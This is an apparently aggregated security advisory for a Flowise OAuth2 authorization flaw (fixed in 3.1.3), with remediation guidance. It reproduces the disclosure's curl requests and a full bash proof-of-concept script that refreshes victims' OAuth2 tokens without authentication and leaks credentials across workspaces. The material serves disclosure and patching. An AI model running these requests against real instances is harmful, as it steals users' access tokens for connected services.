CVE-2026-70474: Flowise Cross-Workspace OAuth2 Credential Metadata Leak Vulnerability

HIGH
Advisory Identifier: GHSA-wch5-xp77-fxg4
CWE-863
Published
Advisory Summary

CVE-2026-70474 is a HIGH cross-workspace oauth2 credential metadata leak vulnerability (CWE-863: Incorrect Authorization) affecting Flowise libraries in the npm ecosystem. The issue involves cross-workspace oauth2 credential metadata leak. Remediation is available by upgrading affected packages to version 3.1.3.

CVE-2026-70474 at a Glance

CVE Identifier CVE-2026-70474
GHSA Identifier GHSA-wch5-xp77-fxg4
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-863: Incorrect Authorization
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-70474

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.1.3
npm install flowise@3.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-70474, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Three OAuth2 credential endpoints look up credentials by `id` alone with no `workspaceId` filter. Two of these endpoints (`callback`, `refresh`) are whitelisted from all authentication. This allows: 1. **Cross-workspace credential access** — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces. 2. **Unauthenticated token injection** — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential. 3. **Unauthenticated token refresh** — An unauthenticated attacker can refresh tokens for any credential. --- ## Root Cause ### Vulnerable code: no workspace scoping All three OAuth2 handlers query the `Credential` table by `id` only: **`packages/server/src/routes/oauth2/index.ts:80-82`** (authorize) ```typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter }) ``` **`packages/server/src/routes/oauth2/index.ts:183-185`** (callback) ```typescript const credential = await credentialRepository.findOneBy({ id: state as string // Missing: workspaceId filter }) ``` **`packages/server/src/routes/oauth2/index.ts:314-316`** (refresh) ```typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter }) ``` ### Correct pattern (same codebase) The standard credential service correctly enforces workspace isolation: **`packages/server/src/services/credentials/index.ts:130-132`** ```typescript const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({ id: credentialId, workspaceId: workspaceId // <-- Workspace scoping present }) ``` ### Authentication bypass via whitelist **`packages/server/src/utils/constants.ts:40-41`** ```typescript export const WHITELIST_URLS = [ // ... '/api/v1/oauth2-credential/callback', // line 40 '/api/v1/oauth2-credential/refresh', // line 41 // ... ] ``` **`packages/server/src/index.ts:223-225`** — prefix-matched whitelist skips all auth: ```typescript const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) if (isWhitelisted) { next() // No JWT verification, no API key check } ``` --- ## Attack Scenarios ### Scenario A: Cross-Workspace Credential Metadata Leak An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's `client_id`, `scope`, and `redirect_uri`. ``` POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID> Cookie: connect.sid=<ATTACKER_SESSION> ``` **Response:** ```json { "success": true, "credentialId": "<VICTIM_CREDENTIAL_UUID>", "authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...", "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback" } ``` ### Scenario B: Unauthenticated Token Injection via Forged Callback The callback endpoint requires no authentication and uses the `state` parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential. ``` GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID> (No authentication required) ``` The server exchanges the code at the credential's `accessTokenUrl`, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271): ```typescript await credentialRepository.update(credential.id, { encryptedData, // Contains attacker-controlled token data updatedDate: new Date() }) ``` ### Scenario C: Unauthenticated Token Refresh An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored `refresh_token`, exchanges it at the `accessTokenUrl`, and returns fresh token metadata. ``` POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID> (No authentication required) ``` **Response:** ```json { "success": true, "credentialId": "<VICTIM_CREDENTIAL_UUID>", "tokenInfo": { "access_token": "new-access-token-value", "token_type": "Bearer", "expires_in": 3600, "has_new_refresh_token": false, "expires_at": "2026-04-13T12:00:00.000Z" } } ``` The fresh `access_token` is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to. --- ## Proof of Concept ### Prerequisites - A running Flowise instance with at least two workspaces (Workspace A and Workspace B) - An OAuth2 credential configured in Workspace B (the victim) - The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4) ### Step 1 — Confirm unauthenticated refresh endpoint is reachable ```bash # No cookies, no Bearer token — completely unauthenticated FLOWISE_URL="https://TARGET_INSTANCE" VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \ -H "Content-Type: application/json" ``` **Expected result if credential exists and has a refresh token:** ```json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "tokenInfo": { "access_token": "<VALID_ACCESS_TOKEN>", "token_type": "Bearer", "expires_in": 3600, "has_new_refresh_token": false, "expires_at": "2026-04-13T..." } } ``` **Expected result if credential not found:** ```json { "success": false, "message": "Credential not found" } ``` ### Step 2 — Cross-workspace authorize (requires any valid session) ```bash # Attacker is authenticated in Workspace A # They target a credential UUID from Workspace B ATTACKER_COOKIE="connect.sid=s%3A..." curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \ -H "Cookie: ${ATTACKER_COOKIE}" \ -H "Content-Type: application/json" ``` **Expected result — victim credential's OAuth2 config is leaked:** ```json { "success": true, "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...", "redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback" } ``` ### Step 3 — Forge callback to inject attacker-controlled tokens ```bash # Attacker sets up a rogue OAuth2 provider that returns crafted tokens, # OR intercepts a legitimate flow. # The state parameter is the victim credential UUID. curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}" ``` The server POSTs the `code` to the credential's `accessTokenUrl`. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential. ### Full automated PoC script ```bash #!/usr/bin/env bash set -euo pipefail # ---- Configuration ---- FLOWISE_URL="${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}" VICTIM_CRED_ID="${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}" ATTACKER_COOKIE="${3:-}" echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ===" echo "Target: ${FLOWISE_URL}" echo "Credential: ${VICTIM_CRED_ID}" echo "" # --- Attack Vector 1: Unauthenticated token refresh --- echo "[1] Attempting unauthenticated token refresh..." REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \ "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \ -H "Content-Type: application/json") HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1) BODY=$(echo "${REFRESH_RESP}" | head -n -1) if [ "${HTTP_CODE}" = "200" ]; then echo "[!] VULNERABLE — Unauthenticated token refresh succeeded" echo " Response: ${BODY}" | head -c 500 echo "" elif echo "${BODY}" | grep -q "Credential not found"; then echo "[*] Credential not found (UUID may be invalid)" elif echo "${BODY}" | grep -q "Missing required"; then echo "[*] Credential exists but has no refresh_token (no prior OAuth2 flow)" echo " This still confirms the endpoint is reachable without auth" else echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300 fi echo "" # --- Attack Vector 2: Cross-workspace authorize (needs session) --- if [ -n "${ATTACKER_COOKIE}" ]; then echo "[2] Attempting cross-workspace authorize..." AUTH_RESP=$(curl -s -w "\n%{http_code}" -X POST \ "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \ -H "Cookie: ${ATTACKER_COOKIE}" \ -H "Content-Type: application/json") HTTP_CODE=$(echo "${AUTH_RESP}" | tail -1) BODY=$(echo "${AUTH_RESP}" | head -n -1) if [ "${HTTP_CODE}" = "200" ]; then echo "[!] VULNERABLE — Cross-workspace credential access confirmed" echo " Leaked authorization URL:" echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo " ${BODY}" | head -c 500 else echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300 fi else echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)" fi echo "" # --- Attack Vector 3: Confirm callback is unauthenticated --- echo "[3] Confirming callback endpoint is unauthenticated..." CALLBACK_RESP=$(curl -s -w "\n%{http_code}" \ "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}") HTTP_CODE=$(echo "${CALLBACK_RESP}" | tail -1) # Any response other than 401/403 confirms the endpoint is reachable without auth. # A 400 with "token_exchange_failed" means the endpoint processed the request # (tried to exchange the code) — it just failed at the external provider. if [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "403" ]; then echo "[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)" else echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})" echo " The server attempted to process the OAuth2 callback." echo " With a valid authorization code, tokens would be written to the credential." fi echo "" echo "=== PoC Complete ===" ``` --- ## Impact | Vector | Auth Required | Impact | |--------|--------------|--------| | Credential metadata leak via `/authorize` | Low (any session) | Exposes `client_id`, `scope`, `redirect_uri` from any workspace's credential | | Token injection via `/callback` | None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values | | Token theft via `/refresh` | None | Obtain a fresh `access_token` for any credential's connected service (Microsoft 365, Google, etc.) | **Chained impact:** An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance. --- ## Affected Components | File | Lines | Issue | |------|-------|-------| | `packages/server/src/routes/oauth2/index.ts` | 80-82 | `findOneBy({ id })` — no `workspaceId` | | `packages/server/src/routes/oauth2/index.ts` | 183-185 | `findOneBy({ id: state })` — no `workspaceId` | | `packages/server/src/routes/oauth2/index.ts` | 314-316 | `findOneBy({ id })` — no `workspaceId` | | `packages/server/src/utils/constants.ts` | 40 | `/callback` whitelisted from auth | | `packages/server/src/utils/constants.ts` | 41 | `/refresh` whitelisted from auth | --- ## Remediation 1. **Add `workspaceId` to all credential lookups** in the OAuth2 routes, matching the pattern already used in `services/credentials/index.ts:130-132`: ```typescript // Before (vulnerable) const credential = await credentialRepository.findOneBy({ id: credentialId }) // After (fixed) const credential = await credentialRepository.findOneBy({ id: credentialId, workspaceId: req.user?.activeWorkspaceId }) ``` 2. **Remove `/callback` and `/refresh` from `WHITELIST_URLS`** or implement a signed, time-limited state token that authenticates the callback without a session. 3. **Replace the `state` parameter** with a cryptographically random nonce bound to the user's session (see also Finding 8). 4. **Do not return `access_token` in the `/refresh` response body.** The token should only be stored server-side in the encrypted credential data, never sent to the caller. ---

CVE-2026-70474 Affected Flowise Versions

1 component(s)
Fixed Versions:
3.1.3
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
< 3.1.3
3.1.3

References

Frequently Asked Questions

What is CVE-2026-70474?
CVE-2026-70474 is a security vulnerability in Flowise involving Cross-Workspace OAuth2 Credential Metadata Leak under CWE-863: Incorrect Authorization.
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.3 across affected packages: flowise.
What version fixes CVE-2026-70474?
Upgrading to 3.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
What CWE is associated with CVE-2026-70474?
CVE-2026-70474 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check npm dependencies for CVE-2026-70474?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wch5-xp77-fxg4",
  "modified" : "2026-08-04T18:01:29Z",
  "published" : "2026-08-04T18:01:29Z",
  "aliases" : [ "CVE-2026-70474" ],
  "summary" : "Flowise: Cross-Workspace OAuth2 Credential Metadata Leak",
  "details" : "## Summary\n\nThree OAuth2 credential endpoints look up credentials by `id` alone with no `workspaceId` filter. Two of these endpoints (`callback`, `refresh`) are whitelisted from all authentication. This allows:\n\n1. **Cross-workspace credential access** — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.\n2. **Unauthenticated token injection** — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.\n3. **Unauthenticated token refresh** — An unauthenticated attacker can refresh tokens for any credential.\n\n---\n\n## Root Cause\n\n### Vulnerable code: no workspace scoping\n\nAll three OAuth2 handlers query the `Credential` table by `id` only:\n\n**`packages/server/src/routes/oauth2/index.ts:80-82`** (authorize)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId\n    // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:183-185`** (callback)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: state as string\n    // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:314-316`** (refresh)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId\n    // Missing: workspaceId filter\n})\n```\n\n### Correct pattern (same codebase)\n\nThe standard credential service correctly enforces workspace isolation:\n\n**`packages/server/src/services/credentials/index.ts:130-132`**\n```typescript\nconst credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({\n    id: credentialId,\n    workspaceId: workspaceId  // <-- Workspace scoping present\n})\n```\n\n### Authentication bypass via whitelist\n\n**`packages/server/src/utils/constants.ts:40-41`**\n```typescript\nexport const WHITELIST_URLS = [\n    // ...\n    '/api/v1/oauth2-credential/callback',   // line 40\n    '/api/v1/oauth2-credential/refresh',     // line 41\n    // ...\n]\n```\n\n**`packages/server/src/index.ts:223-225`** — prefix-matched whitelist skips all auth:\n```typescript\nconst isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))\nif (isWhitelisted) {\n    next()  // No JWT verification, no API key check\n}\n```\n\n---\n\n## Attack Scenarios\n\n### Scenario A: Cross-Workspace Credential Metadata Leak\n\nAn authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's `client_id`, `scope`, and `redirect_uri`.\n\n```\nPOST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>\nCookie: connect.sid=<ATTACKER_SESSION>\n```\n\n**Response:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"<VICTIM_CREDENTIAL_UUID>\",\n  \"authorizationUrl\": \"https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...\",\n  \"redirectUri\": \"https://flowise-instance/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Scenario B: Unauthenticated Token Injection via Forged Callback\n\nThe callback endpoint requires no authentication and uses the `state` parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.\n\n```\nGET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>\n(No authentication required)\n```\n\nThe server exchanges the code at the credential's `accessTokenUrl`, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):\n\n```typescript\nawait credentialRepository.update(credential.id, {\n    encryptedData,      // Contains attacker-controlled token data\n    updatedDate: new Date()\n})\n```\n\n### Scenario C: Unauthenticated Token Refresh\n\nAn attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored `refresh_token`, exchanges it at the `accessTokenUrl`, and returns fresh token metadata.\n\n```\nPOST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>\n(No authentication required)\n```\n\n**Response:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"<VICTIM_CREDENTIAL_UUID>\",\n  \"tokenInfo\": {\n    \"access_token\": \"new-access-token-value\",\n    \"token_type\": \"Bearer\",\n    \"expires_in\": 3600,\n    \"has_new_refresh_token\": false,\n    \"expires_at\": \"2026-04-13T12:00:00.000Z\"\n  }\n}\n```\n\nThe fresh `access_token` is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n\n- A running Flowise instance with at least two workspaces (Workspace A and Workspace B)\n- An OAuth2 credential configured in Workspace B (the victim)\n- The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)\n\n### Step 1 — Confirm unauthenticated refresh endpoint is reachable\n\n```bash\n# No cookies, no Bearer token — completely unauthenticated\nFLOWISE_URL=\"https://TARGET_INSTANCE\"\nVICTIM_CRED_ID=\"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n  -H \"Content-Type: application/json\"\n```\n\n**Expected result if credential exists and has a refresh token:**\n```json\n{\n  \"success\": true,\n  \"message\": \"OAuth2 token refreshed successfully\",\n  \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n  \"tokenInfo\": {\n    \"access_token\": \"<VALID_ACCESS_TOKEN>\",\n    \"token_type\": \"Bearer\",\n    \"expires_in\": 3600,\n    \"has_new_refresh_token\": false,\n    \"expires_at\": \"2026-04-13T...\"\n  }\n}\n```\n\n**Expected result if credential not found:**\n```json\n{\n  \"success\": false,\n  \"message\": \"Credential not found\"\n}\n```\n\n### Step 2 — Cross-workspace authorize (requires any valid session)\n\n```bash\n# Attacker is authenticated in Workspace A\n# They target a credential UUID from Workspace B\nATTACKER_COOKIE=\"connect.sid=s%3A...\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n  -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n  -H \"Content-Type: application/json\"\n```\n\n**Expected result — victim credential's OAuth2 config is leaked:**\n```json\n{\n  \"success\": true,\n  \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n  \"authorizationUrl\": \"https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...\",\n  \"redirectUri\": \"https://TARGET_INSTANCE/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Step 3 — Forge callback to inject attacker-controlled tokens\n\n```bash\n# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,\n# OR intercepts a legitimate flow.\n# The state parameter is the victim credential UUID.\n\ncurl -s \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}\"\n```\n\nThe server POSTs the `code` to the credential's `accessTokenUrl`. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.\n\n### Full automated PoC script\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ---- Configuration ----\nFLOWISE_URL=\"${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}\"\nVICTIM_CRED_ID=\"${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}\"\nATTACKER_COOKIE=\"${3:-}\"\n\necho \"=== OAuth2 Cross-Workspace Credential Hijacking PoC ===\"\necho \"Target:     ${FLOWISE_URL}\"\necho \"Credential: ${VICTIM_CRED_ID}\"\necho \"\"\n\n# --- Attack Vector 1: Unauthenticated token refresh ---\necho \"[1] Attempting unauthenticated token refresh...\"\nREFRESH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n  \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n  -H \"Content-Type: application/json\")\n\nHTTP_CODE=$(echo \"${REFRESH_RESP}\" | tail -1)\nBODY=$(echo \"${REFRESH_RESP}\" | head -n -1)\n\nif [ \"${HTTP_CODE}\" = \"200\" ]; then\n  echo \"[!] VULNERABLE — Unauthenticated token refresh succeeded\"\n  echo \"    Response: ${BODY}\" | head -c 500\n  echo \"\"\nelif echo \"${BODY}\" | grep -q \"Credential not found\"; then\n  echo \"[*] Credential not found (UUID may be invalid)\"\nelif echo \"${BODY}\" | grep -q \"Missing required\"; then\n  echo \"[*] Credential exists but has no refresh_token (no prior OAuth2 flow)\"\n  echo \"    This still confirms the endpoint is reachable without auth\"\nelse\n  echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\nfi\necho \"\"\n\n# --- Attack Vector 2: Cross-workspace authorize (needs session) ---\nif [ -n \"${ATTACKER_COOKIE}\" ]; then\n  echo \"[2] Attempting cross-workspace authorize...\"\n  AUTH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n    \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n    -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n    -H \"Content-Type: application/json\")\n\n  HTTP_CODE=$(echo \"${AUTH_RESP}\" | tail -1)\n  BODY=$(echo \"${AUTH_RESP}\" | head -n -1)\n\n  if [ \"${HTTP_CODE}\" = \"200\" ]; then\n    echo \"[!] VULNERABLE — Cross-workspace credential access confirmed\"\n    echo \"    Leaked authorization URL:\"\n    echo \"${BODY}\" | python3 -m json.tool 2>/dev/null || echo \"    ${BODY}\" | head -c 500\n  else\n    echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\n  fi\nelse\n  echo \"[2] Skipped cross-workspace authorize (no attacker cookie provided)\"\nfi\necho \"\"\n\n# --- Attack Vector 3: Confirm callback is unauthenticated ---\necho \"[3] Confirming callback endpoint is unauthenticated...\"\nCALLBACK_RESP=$(curl -s -w \"\\n%{http_code}\" \\\n  \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}\")\n\nHTTP_CODE=$(echo \"${CALLBACK_RESP}\" | tail -1)\n\n# Any response other than 401/403 confirms the endpoint is reachable without auth.\n# A 400 with \"token_exchange_failed\" means the endpoint processed the request\n# (tried to exchange the code) — it just failed at the external provider.\nif [ \"${HTTP_CODE}\" = \"401\" ] || [ \"${HTTP_CODE}\" = \"403\" ]; then\n  echo \"[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)\"\nelse\n  echo \"[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})\"\n  echo \"    The server attempted to process the OAuth2 callback.\"\n  echo \"    With a valid authorization code, tokens would be written to the credential.\"\nfi\n\necho \"\"\necho \"=== PoC Complete ===\"\n```\n\n---\n\n## Impact\n\n| Vector | Auth Required | Impact |\n|--------|--------------|--------|\n| Credential metadata leak via `/authorize` | Low (any session) | Exposes `client_id`, `scope`, `redirect_uri` from any workspace's credential |\n| Token injection via `/callback` | None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values |\n| Token theft via `/refresh` | None | Obtain a fresh `access_token` for any credential's connected service (Microsoft 365, Google, etc.) |\n\n**Chained impact:** An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.\n\n---\n\n## Affected Components\n\n| File | Lines | Issue |\n|------|-------|-------|\n| `packages/server/src/routes/oauth2/index.ts` | 80-82 | `findOneBy({ id })` — no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 183-185 | `findOneBy({ id: state })` — no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 314-316 | `findOneBy({ id })` — no `workspaceId` |\n| `packages/server/src/utils/constants.ts` | 40 | `/callback` whitelisted from auth |\n| `packages/server/src/utils/constants.ts` | 41 | `/refresh` whitelisted from auth |\n\n---\n\n## Remediation\n\n1. **Add `workspaceId` to all credential lookups** in the OAuth2 routes, matching the pattern already used in `services/credentials/index.ts:130-132`:\n\n```typescript\n// Before (vulnerable)\nconst credential = await credentialRepository.findOneBy({ id: credentialId })\n\n// After (fixed)\nconst credential = await credentialRepository.findOneBy({\n    id: credentialId,\n    workspaceId: req.user?.activeWorkspaceId\n})\n```\n\n2. **Remove `/callback` and `/refresh` from `WHITELIST_URLS`** or implement a signed, time-limited state token that authenticates the callback without a session.\n\n3. **Replace the `state` parameter** with a cryptographically random nonce bound to the user's session (see also Finding 8).\n\n4. **Do not return `access_token` in the `/refresh` response body.** The token should only be stored server-side in the encrypted credential data, never sent to the caller.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wch5-xp77-fxg4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T18:01:29Z",
    "nvd_published_at" : null
  }
}